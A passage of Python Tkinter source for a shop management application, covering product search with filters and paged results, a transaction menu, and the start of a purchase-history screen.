age111[10*(index - 1) + j - 1])\r\n\t\t\tresults11_gender[j].configure(text = gender111[10*(index - 1) + j - 1])\r\n\t\t\tresults11_price[j].configure(text = price111[10*(index - 1) + j - 1])\r\n\r\n# Buttons for showing results\r\ndef first11():\r\n\tglobal page11\r\n\tpage11 = 1\r\n\tshowResults11(page11)\r\n\r\ndef prev11():\r\n\tglobal page11\r\n\tif page11 != 1:\r\n\t\tpage11 -= 1\r\n\t\tshowResults11(page11)\r\n\r\ndef next11():\r\n\tglobal page11\r\n\tif page11 != numOfpages11:\r\n\t\tpage11 += 1\r\n\t\tshowResults11(page11)\r\n\r\ndef end11():\r\n\tglobal page11\r\n\tpage11 = numOfpages11\r\n\tshowResults11(page11)\r\n\r\n###---------------------###\r\n\r\n## PRODUCT ##\r\ndef product1(*arg):\r\n\tglobal scr12\r\n\tglobal fr121\r\n\tglobal fr122\r\n\tglobal id_entry12\r\n\tglobal type_entry12\r\n\tglobal size_entry12\r\n\tglobal brand_entry12\r\n\tglobal pricemin_entry12\r\n\tglobal pricemax_entry12\r\n\tglobal rs12\r\n\tglobal icon_id12\r\n\tglobal icon_type12\r\n\tglobal icon_size12\r\n\tglobal icon_brand12\r\n\tglobal icon_price12\r\n\tglobal icon_true12\r\n\tglobal icon_false12\r\n\tglobal icon_bg12\r\n\tglobal results12\r\n\tglobal results12_id\r\n\tglobal results12_type\r\n\tglobal results12_size\r\n\tglobal results12_brand\r\n\tglobal results12_quantity\r\n\tglobal results12_price\r\n\tglobal btn_first12\r\n\tglobal btn_prev12\r\n\tglobal btn_next12\r\n\tglobal btn_end12\r\n\tglobal text_results12\r\n\tglobal icon_page12\r\n\tglobal back12\r\n\r\n\tscr01.withdraw()\r\n\tscr12 = Toplevel(scr01)\r\n\tx0 = scr01.winfo_x()\r\n\ty0 = scr01.winfo_y()\r\n\tscr12.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr12.title(\"Product\")\r\n\tscr12.resizable(width = False, height = False)\r\n\tscr12.protocol(\"WM_DELETE_WINDOW\", close)\r\n\tlogo(scr12, 12)\r\n\r\n\t## Info\r\n\tfr = Frame(scr12)\r\n\tfr121 = Frame(fr)\r\n\r\n\t# ID\r\n\tLabel(fr121, text = \"ID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr121).grid(row = 1)\r\n\tid12 = StringVar()\r\n\tid_entry12 = Entry(fr121, textvariable = id12, width = 20, font = 30)\r\n\tid_entry12.grid(row = 0, column = 1, columnspan = 3, sticky = W)\r\n\t\r\n\t# Type\r\n\tLabel(fr121, text = \"Type\", font = (\"Tahoma\", 20)).grid(row = 2, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr121).grid(row = 3)\r\n\ttype12 = StringVar()\r\n\ttype_entry12 = Entry(fr121, textvariable = type12, width = 20, font = 30)\r\n\ttype_entry12.grid(row = 2, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Size\r\n\tLabel(fr121, text = \"Size\", font = (\"Tahoma\", 20)).grid(row = 4, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr121).grid(row = 5)\r\n\tsize12 = StringVar()\r\n\tsize_entry12 = Entry(fr121, textvariable = size12, width = 20, font = 30)\r\n\tsize_entry12.grid(row = 4, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Brand\r\n\tLabel(fr121, text = \"Brand\", font = (\"Tahoma\", 20)).grid(row = 6, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr121).grid(row = 7)\r\n\tbrand12 = StringVar()\r\n\tbrand_entry12 = Entry(fr121, textvariable = brand12, width = 20, font = 30)\r\n\tbrand_entry12.grid(row = 6, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Price\r\n\tLabel(fr121, text = \"Price\", font = (\"Tahoma\", 20)).grid(row = 8, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr121).grid(row = 9)\r\n\tpricemin12 = StringVar()\r\n\tpricemin_entry12 = Entry(fr121, textvariable = pricemin12, width = 7, font = 30)\r\n\tpricemin_entry12.grid(row = 8, column = 1, sticky = W)\r\n\r\n\tLabel(fr121, text = \"-\", font = (\"Tahoma\", 20)).grid(row = 8, column = 2)\r\n\t\r\n\tpricemax12 = StringVar()\r\n\tpricemax_entry12 = Entry(fr121, textvariable = pricemax12, width = 7, font = 30)\r\n\tpricemax_entry12.grid(row = 8, column = 3, sticky = E)\r\n\r\n\t# Reset\r\n\trs12 = PhotoImage(file = \"reset.png\")\r\n\tButton(fr121, image = rs12, relief = FLAT, command = reset12).grid(row = 10, column = 1, sticky = W)\r\n\t# scr12.bind(\"F1\", reset)\r\n\r\n\t# SEARCH\r\n\tButton(fr121, text = \"SEARCH\", font = (\"Tahoma\", 16), command = search12).grid(row = 10, column = 2, columnspan = 2, sticky = E)\r\n\tscr12.bind(\"<Return>\", search12)\r\n\tLabel(fr121).grid(row = 11)\r\n\r\n\ttext_results12 = Label(fr121, font = (\"Arial\", 15))\r\n\ttext_results12.grid(row = 12, column = 1, columnspan = 4, sticky = W)\r\n\r\n\t# Back to login\r\n\tback12 = PhotoImage(file = \"left.png\")\r\n\t# Label(fr121).grid(row = 13)\r\n\tButton(fr121, image = back12, relief = FLAT, command = pro2log12).grid(row = 12, column = 0)\r\n\r\n\t# Check icons\r\n\ticon_true12 = PhotoImage(file = \"true.png\")\r\n\ticon_false12 = PhotoImage(file = \"false.png\")\r\n\ticon_bg12 =  PhotoImage(file = \"bg.png\")\r\n\r\n\ticon_id12 = Label(fr121, image = icon_bg12)\r\n\ticon_id12.grid(row = 0, column = 4, padx = 20)\r\n\ticon_type12 = Label(fr121, image = icon_bg12)\r\n\ticon_type12.grid(row = 2, column = 4, padx = 20)\r\n\ticon_size12 = Label(fr121, image = icon_bg12)\r\n\ticon_size12.grid(row = 4, column = 4, padx = 20)\r\n\ticon_brand12 = Label(fr121, image = icon_bg12)\r\n\ticon_brand12.grid(row = 6, column = 4, padx = 20)\r\n\ticon_price12 = Label(fr121, image = icon_bg12)\r\n\ticon_price12.grid(row = 8, column = 4, padx = 20)\r\n\r\n\t## Results\r\n\tfr122 = Frame(fr)\r\n\tLabel(fr122, text = \"No.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 5, padx = 20)\r\n\tLabel(fr122, text = \"ID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 6, padx = 20)\r\n\tLabel(fr122, text = \"Type\", font = (\"Tahoma\", 20)).grid(row = 0, column = 7, padx = 20)\r\n\tLabel(fr122, text = \"Size\", font = (\"Tahoma\", 20)).grid(row = 0, column = 8, padx = 20)\r\n\tLabel(fr122, text = \"Brand\", font = (\"Tahoma\", 20)).grid(row = 0, column = 9, columnspan = 2, padx = 20)\r\n\tLabel(fr122, text = \"Quan.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 11, padx = 20)\r\n\tLabel(fr122, text = \"Price\", font = (\"Tahoma\", 20)).grid(row = 0, column = 12, padx = 20)\r\n\t\r\n\t# No.\r\n\tresults12 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults12[i] = Label(fr122, font = (\"Tahoma\", 20))\r\n\t\tresults12[i].grid(row = i, column = 5)\r\n\r\n\t# ID\r\n\tresults12_id = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults12_id[i] = Label(fr122, font = (\"Arial\", 15))\r\n\t\tresults12_id[i].grid(row = i, column = 6)\r\n\r\n\t# Type\r\n\tresults12_type = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults12_type[i] = Label(fr122, font = (\"Arial\", 15))\r\n\t\tresults12_type[i].grid(row = i, column = 7)\r\n\r\n\t# Size\r\n\tresults12_size = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults12_size[i] = Label(fr122, font = (\"Arial\", 15))\r\n\t\tresults12_size[i].grid(row = i, column = 8)\r\n\r\n\t# Brand\r\n\tresults12_brand = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults12_brand[i] = Label(fr122, font = (\"Arial\", 15))\r\n\t\tresults12_brand[i].grid(row = i, column = 9, columnspan = 2)\r\n\r\n\t# Quantity\r\n\tresults12_quantity = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults12_quantity[i] = Label(fr122, font = (\"Arial\", 15))\r\n\t\tresults12_quantity[i].grid(row = i, column = 11)\r\n\r\n\t# Price\r\n\tresults12_price = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults12_price[i] = Label(fr122, font = (\"Arial\", 15))\r\n\t\tresults12_price[i].grid(row = i, column = 12)\r\n\r\n\tbtn_first12 = Button(fr122, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_first12.grid(row = 11, column = 6)\r\n\tbtn_prev12 = Button(fr122, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_prev12.grid(row = 11, column = 7)\r\n\tbtn_next12 = Button(fr122, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_next12.grid(row = 11, column = 8)\r\n\tbtn_end12 = Button(fr122, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_end12.grid(row = 11, column = 9)\r\n\ticon_page12 = Label(fr122, font = (\"Arial\", 15))\r\n\ticon_page12.grid(row = 11, column = 12)\r\n\t\r\n\tfr121.grid(row = 0, rowspan = 100, column = 0, columnspan = 5)\r\n\tfr122.grid(row = 0, rowspan = 100, column = 5, columnspan = 5, sticky = \"nw\")\r\n\tfr.grid(row = 1)\r\n\r\ndef pro2log12():\r\n\tx0 = scr12.winfo_x()\r\n\ty0 = scr12.winfo_y()\r\n\tscr12.destroy()\r\n\tscr01.deiconify()\r\n\tscr01.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\ndef reset12():\r\n\tid_entry12.delete(0, END)\r\n\ttype_entry12.delete(0, END)\r\n\tsize_entry12.delete(0, END)\r\n\tbrand_entry12.delete(0, END)\r\n\tpricemin_entry12.delete(0, END)\r\n\tpricemax_entry12.delete(0, END)\r\n\ticon_id12.configure(image = icon_bg12)\r\n\ticon_type12.configure(image = icon_bg12)\r\n\ticon_size12.configure(image = icon_bg12)\r\n\ticon_brand12.configure(image = icon_bg12)\r\n\ticon_price12.configure(image = icon_bg12)\r\n\ttext_results12.configure(text = \"\")\r\n\r\n\tfor i in range(1, 11):\r\n\t\tresults12[i].configure(text = \"\")\r\n\t\tresults12_id[i].configure(text = \"\")\r\n\t\tresults12_type[i].configure(text = \"\")\r\n\t\tresults12_size[i].configure(text = \"\")\r\n\t\tresults12_brand[i].configure(text = \"\")\r\n\t\tresults12_quantity[i].configure(text = \"\")\r\n\t\tresults12_price[i].configure(text = \"\")\r\n\r\n\tbtn_first12.configure(text = \"\", command = donothing)\r\n\tbtn_prev12.configure(text = \"\", command = donothing)\r\n\tbtn_next12.configure(text = \"\", command = donothing)\r\n\tbtn_end12.configure(text = \"\", command = donothing)\r\n\ticon_page12.configure(text = \"\", relief = FLAT)\r\n\r\ndef search12(*arg):\r\n\tglobal numOfresults12\r\n\tglobal numOfpages12\r\n\tglobal page12\r\n\tglobal id121\r\n\tglobal type121\r\n\tglobal size121\r\n\tglobal brand121\r\n\tglobal quantity121\r\n\tglobal price121\r\n\r\n\tid120 = id_entry12.get()\r\n\ttype120 = type_entry12.get()\r\n\tsize120 = size_entry12.get()\r\n\tbrand120 = brand_entry12.get()\r\n\tpricemin120 = pricemin_entry12.get()\r\n\tpricemax120 = pricemax_entry12.get()\r\n\r\n\t# Check ID\r\n\tcheck_id = True\r\n\tif id120 != \"\":\r\n\t\tcheck_id = id120.isdigit()\r\n\t\r\n\tif check_id:\r\n\t\ticon_id12.configure(image = icon_true12)\r\n\telse:\r\n\t\ticon_id12.configure(image = icon_false12)\r\n\r\n\t# Check type\r\n\tcheck_type = True\r\n\ttype120 = type120.upper()  # Capitalize all letters of name\r\n\tfor i in range (0, len(type120)):\r\n\t\tif (ord(type120[i]) != 32) and ((ord(type120[i]) < 65) or (ord(type120[i]) > 90)):\r\n\t\t\tcheck_type = False\r\n\r\n\tif check_type:\r\n\t\ticon_type12.configure(image = icon_true12)\r\n\telse:\r\n\t\ticon_type12.configure(image = icon_false12)\r\n\r\n\t# Check size\r\n\tcheck_size = True\r\n\tif size120 != \"\":\r\n\t\tcheck_size = size120.isdigit()\r\n\t\r\n\tif check_size:\r\n\t\ticon_size12.configure(image = icon_true12)\r\n\telse:\r\n\t\ticon_size12.configure(image = icon_false12)\r\n\r\n\t# Check brand\r\n\ticon_brand12.configure(image = icon_true12)\r\n\tbrand120 = brand120.upper()\r\n\r\n\t# Check price\r\n\tcheck_price = True\r\n\tif pricemin120 != \"\":\r\n\t\tcheck_price = pricemin120.isdigit()\r\n\tif pricemax120 != \"\":\r\n\t\tcheck_price = pricemax120.isdigit()\r\n\tif (pricemin120 != \"\") and (pricemax120 != \"\"):\r\n\t\tif (pricemin120.isdigit() == False) or (pricemax120.isdigit() == False):\r\n\t\t\tcheck_price = False\r\n\t\telif int(pricemin120) > int(pricemax120):\r\n\t\t\tcheck_price = False\r\n\t\r\n\tif check_price:\r\n\t\ticon_price12.configure(image = icon_true12)\r\n\telse:\r\n\t\ticon_price12.configure(image = icon_false12)\r\n\r\n\t# All checks are true \r\n\tif check_id and check_type and check_size and check_price:\r\n\t\tfile = open(\"product.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; id121 = []; type121 = []; size121 = []; brand121 = []; quantity121 = []; price121 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tid121.append(sub[0])\r\n\t\t\ttype121.append(sub[1].replace(\".\", \" \", 10))\r\n\t\t\tsize121.append(sub[2])\r\n\t\t\tbrand121.append(sub[3].replace(\".\", \" \", 10))\r\n\t\t\tquantity121.append(sub[4])\r\n\t\t\tprice121.append(sub[5])\r\n\r\n\t\tid2 = []; type2 = []; size2 = []; brand2 = []; quantity2 = []; price2 = []\r\n\t\tif id120 != \"\":\r\n\t\t\tfor i in range(0, len(id121)):\r\n\t\t\t\tif id121[i].find(id120) != -1:\r\n\t\t\t\t\tid2.append(id121[i])\r\n\t\t\t\t\ttype2.append(type121[i])\r\n\t\t\t\t\tsize2.append(size121[i])\r\n\t\t\t\t\tbrand2.append(brand121[i])\r\n\t\t\t\t\tquantity2.append(quantity121[i])\r\n\t\t\t\t\tprice2.append(price121[i])\r\n\t\t\tid121 = id2; type121 = type2; size121 = size2; brand121 = brand2; quantity121 = quantity2; price121 = price2\r\n\t\t\tid2 = []; type2 = []; size2 = []; brand2 = []; quantity2 = []; price2 = []\r\n\r\n\t\tif type120 != \"\":\r\n\t\t\tfor i in range(0, len(type121)):\r\n\t\t\t\tif type121[i].find(type120) != -1:\r\n\t\t\t\t\tid2.append(id121[i])\r\n\t\t\t\t\ttype2.append(type121[i])\r\n\t\t\t\t\tsize2.append(size121[i])\r\n\t\t\t\t\tbrand2.append(brand121[i])\r\n\t\t\t\t\tquantity2.append(quantity121[i])\r\n\t\t\t\t\tprice2.append(price121[i])\r\n\t\t\tid121 = id2; type121 = type2; size121 = size2; brand121 = brand2; quantity121 = quantity2; price121 = price2\r\n\t\t\tid2 = []; type2 = []; size2 = []; brand2 = []; quantity2 = []; price2 = []\r\n\r\n\t\tif size120 != \"\":\r\n\t\t\tfor i in range(0, len(size121)):\r\n\t\t\t\tif size121[i].find(size120) != -1:\r\n\t\t\t\t\tid2.append(id121[i])\r\n\t\t\t\t\ttype2.append(type121[i])\r\n\t\t\t\t\tsize2.append(size121[i])\r\n\t\t\t\t\tbrand2.append(brand121[i])\r\n\t\t\t\t\tquantity2.append(quantity121[i])\r\n\t\t\t\t\tprice2.append(price121[i])\r\n\t\t\tid121 = id2; type121 = type2; size121 = size2; brand121 = brand2; quantity121 = quantity2; price121 = price2\r\n\t\t\tid2 = []; type2 = []; size2 = []; brand2 = []; quantity2 = []; price2 = []\r\n\r\n\t\tif brand120 != \"\":\r\n\t\t\tfor i in range(0, len(brand121)):\r\n\t\t\t\tif brand121[i].find(brand120) != -1:\r\n\t\t\t\t\tid2.append(id121[i])\r\n\t\t\t\t\ttype2.append(type121[i])\r\n\t\t\t\t\tsize2.append(size121[i])\r\n\t\t\t\t\tbrand2.append(brand121[i])\r\n\t\t\t\t\tquantity2.append(quantity121[i])\r\n\t\t\t\t\tprice2.append(price121[i])\r\n\t\t\tid121 = id2; type121 = type2; size121 = size2; brand121 = brand2; quantity121 = quantity2; price121 = price2\r\n\t\t\tid2 = []; type2 = []; size2 = []; brand2 = []; quantity2 = []; price2 = []\r\n\r\n\t\tif pricemin120 != \"\" and pricemax120 == \"\":\r\n\t\t\tfor i in range(0, len(price121)):\r\n\t\t\t\tif int(price121[i]) >= int(pricemin120):\r\n\t\t\t\t\tid2.append(id121[i])\r\n\t\t\t\t\ttype2.append(type121[i])\r\n\t\t\t\t\tsize2.append(size121[i])\r\n\t\t\t\t\tbrand2.append(brand121[i])\r\n\t\t\t\t\tquantity2.append(quantity121[i])\r\n\t\t\t\t\tprice2.append(price121[i])\r\n\t\t\tid121 = id2; type121 = type2; size121 = size2; brand121 = brand2; quantity121 = quantity2; price121 = price2\r\n\t\t\tid2 = []; type2 = []; size2 = []; brand2 = []; quantity2 = []; price2 = []\r\n\r\n\t\telif pricemin120 == \"\" and pricemax120 != \"\":\r\n\t\t\tfor i in range(0, len(price121)):\r\n\t\t\t\tif int(price121[i]) <= int(pricemax120):\r\n\t\t\t\t\tid2.append(id121[i])\r\n\t\t\t\t\ttype2.append(type121[i])\r\n\t\t\t\t\tsize2.append(size121[i])\r\n\t\t\t\t\tbrand2.append(brand121[i])\r\n\t\t\t\t\tquantity2.append(quantity121[i])\r\n\t\t\t\t\tprice2.append(price121[i])\r\n\t\t\tid121 = id2; type121 = type2; size121 = size2; brand121 = brand2; quantity121 = quantity2; price121 = price2\r\n\t\t\tid2 = []; type2 = []; size2 = []; brand2 = []; quantity2 = []; price2 = []\r\n\r\n\t\telif pricemin120 != \"\" and pricemax120 != \"\":\r\n\t\t\tfor i in range(0, len(price121)):\r\n\t\t\t\tif int(pricemin120) <= int(price121[i]) <= int(pricemax120):\r\n\t\t\t\t\tid2.append(id121[i])\r\n\t\t\t\t\ttype2.append(type121[i])\r\n\t\t\t\t\tsize2.append(size121[i])\r\n\t\t\t\t\tbrand2.append(brand121[i])\r\n\t\t\t\t\tquantity2.append(quantity121[i])\r\n\t\t\t\t\tprice2.append(price121[i])\r\n\t\t\tid121 = id2; type121 = type2; size121 = size2; brand121 = brand2; quantity121 = quantity2; price121 = price2\r\n\t\t\tid2 = []; type2 = []; size2 = []; brand2 = []; quantity2 = []; price2 = []\r\n\r\n\t\t# Sort\r\n\t\tfor i in range(0, len(id121)):\r\n\t\t\ttype121[i] = type121[i].lower()\r\n\t\t\ttype121[i] = type121[i].title()\r\n\t\t\tbrand121[i] = brand121[i].lower()\r\n\t\t\tbrand121[i] = brand121[i].title()\r\n\t\t\tprice121[i] = int(price121[i])\r\n\r\n\t\tid121 = [x for _, x in sorted(zip(price121, id121))]; id121.reverse()\r\n\t\ttype121 = [x for _, x in sorted(zip(price121, type121))]; type121.reverse()\r\n\t\tsize121 = [x for _, x in sorted(zip(price121, size121))]; size121.reverse()\r\n\t\tbrand121 = [x for _, x in sorted(zip(price121, brand121))]; brand121.reverse()\r\n\t\tquantity121 = [x for _, x in sorted(zip(price121, quantity121))]; quantity121.reverse()\r\n\t\tprice121.sort(reverse = True)\r\n\t\tfor i in range(0, len(price121)):\r\n\t\t\tprice121[i] = str(price121[i])\r\n\r\n\t\t# Show\r\n\t\tnumOfresults12 = len(id121)\r\n\t\tif (numOfresults12 == 0) or (numOfresults12 == 1):\r\n\t\t\ttext_results12.configure(text = \"%d result found\" %numOfresults12)\r\n\t\telse:\r\n\t\t\ttext_results12.configure(text = \"%d results found\" %numOfresults12)\r\n\r\n\t\tif numOfresults12 != 0:\r\n\t\t\tnumOfpages12 = ((numOfresults12 - 1) // 10) + 1\r\n\t\t\tbtn_first12.configure(text = \"1\", command = first12)\r\n\t\t\tbtn_prev12.configure(text = \"<\", command = prev12)\r\n\t\t\tbtn_next12.configure(text = \">\", command = next12)\r\n\t\t\tbtn_end12.configure(text = \"End\", command = end12)\r\n\t\t\tpage12 = 1\r\n\t\t\tshowResults12(page12)\r\n\telse:\r\n\t\ttext_results12.configure(text = \"\")\r\n\t\tfor i in range(1, 11):\r\n\t\t\tresults12[i].configure(text = \"\")\r\n\t\t\tresults12_id[i].configure(text = \"\")\r\n\t\t\tresults12_type[i].configure(text = \"\")\r\n\t\t\tresults12_size[i].configure(text = \"\")\r\n\t\t\tresults12_brand[i].configure(text = \"\")\r\n\t\t\tresults12_quantity[i].configure(text = \"\")\r\n\t\t\tresults12_price[i].configure(text = \"\")\r\n\r\n\t\tbtn_first12.configure(text = \"\", command = donothing)\r\n\t\tbtn_prev12.configure(text = \"\", command = donothing)\r\n\t\tbtn_next12.configure(text = \"\", command = donothing)\r\n\t\tbtn_end12.configure(text = \"\", command = donothing)\r\n\t\ticon_page12.configure(text = \"\", relief = FLAT)\r\n\r\ndef showResults12(index):\r\n\ticon_page12.configure(text = index, relief = GROOVE)\r\n\tif index == numOfpages12:\r\n\t\tfor i in range(1, numOfresults12 - 10*(numOfpages12 - 1) + 1):\r\n\t\t\tresults12[i].configure(text = 10*(numOfpages12 - 1) + i)\r\n\t\t\tresults12_id[i].configure(text = id121[10*(numOfpages12 - 1) + i - 1])\r\n\t\t\tresults12_type[i].configure(text = type121[10*(numOfpages12 - 1) + i - 1])\r\n\t\t\tresults12_size[i].configure(text = size121[10*(numOfpages12 - 1) + i - 1])\r\n\t\t\tresults12_brand[i].configure(text = brand121[10*(numOfpages12 - 1) + i - 1])\r\n\t\t\tresults12_quantity[i].configure(text = quantity121[10*(numOfpages12 - 1) + i - 1])\r\n\t\t\tresults12_price[i].configure(text = price121[10*(numOfpages12 - 1) + i - 1])\r\n\t\tif (numOfresults12 % 10) != 0:\r\n\t\t\tfor i in range((numOfresults12 % 10) + 1, 11):\r\n\t\t\t\tresults12[i].configure(text = \"\")\r\n\t\t\t\tresults12_id[i].configure(text = \"\")\r\n\t\t\t\tresults12_type[i].configure(text = \"\")\r\n\t\t\t\tresults12_size[i].configure(text = \"\")\r\n\t\t\t\tresults12_brand[i].configure(text = \"\")\r\n\t\t\t\tresults12_quantity[i].configure(text = \"\")\r\n\t\t\t\tresults12_price[i].configure(text = \"\")\r\n\telse:\r\n\t\tfor j in range(1, 11):\r\n\t\t\tresults12[j].configure(text = 10*(index - 1) + j)\r\n\t\t\tresults12_id[j].configure(text = id121[10*(index - 1) + j - 1])\r\n\t\t\tresults12_type[j].configure(text = type121[10*(index - 1) + j - 1])\r\n\t\t\tresults12_size[j].configure(text = size121[10*(index - 1) + j - 1])\r\n\t\t\tresults12_brand[j].configure(text = brand121[10*(index - 1) + j - 1])\r\n\t\t\tresults12_quantity[j].configure(text = quantity121[10*(index - 1) + j - 1])\r\n\t\t\tresults12_price[j].configure(text = price121[10*(index - 1) + j - 1])\r\n\r\n# Button for showing results\r\ndef first12():\r\n\tglobal page12\r\n\tpage12 = 1\r\n\tshowResults12(page12)\r\n\r\ndef prev12():\r\n\tglobal page12\r\n\tif page12 != 1:\r\n\t\tpage12 -= 1\r\n\t\tshowResults12(page12)\r\n\r\ndef next12():\r\n\tglobal page12\r\n\tif page12 != numOfpages12:\r\n\t\tpage12 += 1\r\n\t\tshowResults12(page12)\r\n\r\ndef end12():\r\n\tglobal page12\r\n\tpage12 = numOfpages12\r\n\tshowResults12(page12)\r\n\r\n###---------------------###\r\n\r\n## TRANSACTION ##\r\ndef transaction1(*arg):\r\n\tglobal scr013\r\n\tglobal back013\r\n\t\r\n\tscr01.withdraw()\r\n\tscr013 = Toplevel(scr01)\r\n\tx0 = scr01.winfo_x()\r\n\ty0 = scr01.winfo_y()\r\n\tscr013.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr013.title(\"Function\")\r\n\tscr013.resizable(width = False, height = False)\r\n\tlogo(scr013, 1)\r\n\tscr013.protocol(\"WM_DELETE_WINDOW\", close)\r\n\r\n\tfr = Frame(scr013)\r\n\tLabel(fr, text = \"Hi Boss\", font = 30, fg = \"red\").grid(row = 0, pady = 10)\r\n\tButton(fr, text = \"3.1 Buy\", width = 20, font = (\"Tahoma\", 20), command = buy1).grid(row = 1, pady = 30)\r\n\tscr013.bind(\"1\", buy1)\r\n\t\r\n\tButton(fr, text = \"3.2 Sell\", width = 20, font = (\"Tahoma\", 20), command = sell1).grid(row = 2, pady = 30)\r\n\tscr013.bind(\"2\", sell1)\r\n\r\n\tButton(fr, text = \"3.3 Revenue\", width = 20, font = (\"Tahoma\", 20), command = revenue1).grid(row = 3, pady = 30)\r\n\tscr013.bind(\"3\", revenue1)\r\n\t\r\n\tback013 = PhotoImage(file = \"left.png\")\r\n\tButton(fr, image = back013, relief = FLAT, command = trans2func1).grid(row = 4, pady = 10)\r\n\r\n\tfr.grid(row = 1, pady = 20)\r\n\r\ndef trans2func1():\r\n\tx0 = scr013.winfo_x()\r\n\ty0 = scr013.winfo_y()\r\n\tscr013.destroy()\r\n\tscr01.deiconify()\r\n\tscr01.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\n## Buy\r\ndef buy1():\r\n\tglobal scr13\r\n\tglobal fr131\r\n\tglobal fr132\r\n\tglobal day1_entry13\r\n\tglobal month1_entry13\r\n\tglobal day2_entry13\r\n\tglobal month2_entry13\r\n\tglobal rs13\r\n\tglobal icon_date131\r\n\tglobal icon_date132\r\n\tglobal icon_range13\r\n\tglobal icon_true13\r\n\tglobal icon_false13\r\n\tglobal icon_bg13\r\n\tglobal results13\r\n\tglobal results13_date\r\n\tglobal results13_orderid\r\n\tglobal results13_cusid\r\n\tglobal results13_prodid\r\n\tglobal results13_quantity\r\n\tglobal results13_price\r\n\tglobal btn_first13\r\n\tglobal btn_prev13\r\n\tglobal btn_next13\r\n\tglobal btn_end13\r\n\tglobal text_results13\r\n\tglobal back13\r\n\tglobal icon_page13\r\n\r\n\tscr013.withdraw()\r\n\tscr13 = Toplevel(scr013)\r\n\tx0 = scr013.winfo_x()\r\n\ty0 = scr013.winfo_y()\r\n\tscr13.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr13.title(\"Buy\")\r\n\tscr13.resizable(width = False, height = False)\r\n\tscr13.protocol(\"WM_DELETE_WINDOW\", close)\r\n\tlogo(scr13, 12)\r\n\t\r\n\t## Info\r\n\tfr = Frame(scr13)\r\n\tfr131 = Frame(fr)\r\n\t\r\n\t# BUY \r\n\tLabel(fr131, text = \"BUY\", font = (\"Tahoma\", 20)).grid(row = 0, column = 1, sticky = W, padx = 10)\r\n\tLabel(fr131).grid(row = 1)\r\n\r\n\t# Date\r\n\tLabel(fr131, text = \"Date\", font = (\"Tahoma\", 20)).grid(row = 2, column = 0, sticky = W, padx = 30)\r\n\tday1 = StringVar()\r\n\tday1_entry13 = Entry(fr131, textvariable = day1, width = 3, font = 30)\r\n\tday1_entry13.grid(row = 2, column = 1, sticky = W)\r\n\r\n\tLabel(fr131, text = \"/\", font = (\"Tahoma\", 20)).grid(row = 2, column = 2, sticky = W)\r\n\t\r\n\tmonth1 = StringVar()\r\n\tmonth1_entry13 = Entry(fr131, textvariable = month1, width = 3, font = 30)\r\n\tmonth1_entry13.grid(row = 2, column = 3)\r\n\r\n\tLabel(fr131, text = \"to\", font = (\"Tahoma\", 20)).grid(row = 3, column = 2, sticky = W)\r\n\tday2 = StringVar()\r\n\tday2_entry13 = Entry(fr131, textvariable = day2, width = 3, font = 30)\r\n\tday2_entry13.grid(row = 4, column = 1, sticky = W)\r\n\r\n\tLabel(fr131, text = \"/\", font = (\"Tahoma\", 20)).grid(row = 4, column = 2, sticky = W)\r\n\t\r\n\tmonth2 = StringVar()\r\n\tmonth2_entry13 = Entry(fr131, textvariable = month2, width = 3, font = 30)\r\n\tmonth2_entry13.grid(row = 4, column = 3)\r\n\r\n\t# Reset\r\n\tLabel(fr131).grid(row = 5)\r\n\trs13 = PhotoImage(file = \"reset.png\")\r\n\tButton(fr131, image = rs13, relief = FLAT, command = reset13).grid(row = 6, column = 1, sticky = W)\r\n\t# scr13.bind(\"r\", reset13)\r\n\t\r\n\t# SEARCH\r\n\tButton(fr131, text = \"SEARCH\", font = (\"Tahoma\", 16), command = search13).grid(row = 6, column = 2, columnspan = 2, sticky = E)\r\n\tscr13.bind(\"<Return>\", search13)\r\n\t# Label(fr131).grid(row = 10)\r\n\r\n\ttext_results13 = Label(fr131, font = (\"Arial\", 15))\r\n\ttext_results13.grid(row = 7, column = 1, columnspan = 4, sticky = W)\r\n\r\n\t# Back to login\r\n\tback13 = PhotoImage(file = \"left.png\")\r\n\tLabel(fr131).grid(row = 8)\r\n\tLabel(fr131).grid(row = 9)\r\n\tLabel(fr131).grid(row = 10)\r\n\tLabel(fr131).grid(row = 11)\r\n\tButton(fr131, image = back13, relief = FLAT, command = buy2trans13).grid(row = 12, column = 0)\r\n\r\n\t# Check icons\r\n\ticon_true13 = PhotoImage(file = \"true.png\")\r\n\ticon_false13 = PhotoImage(file = 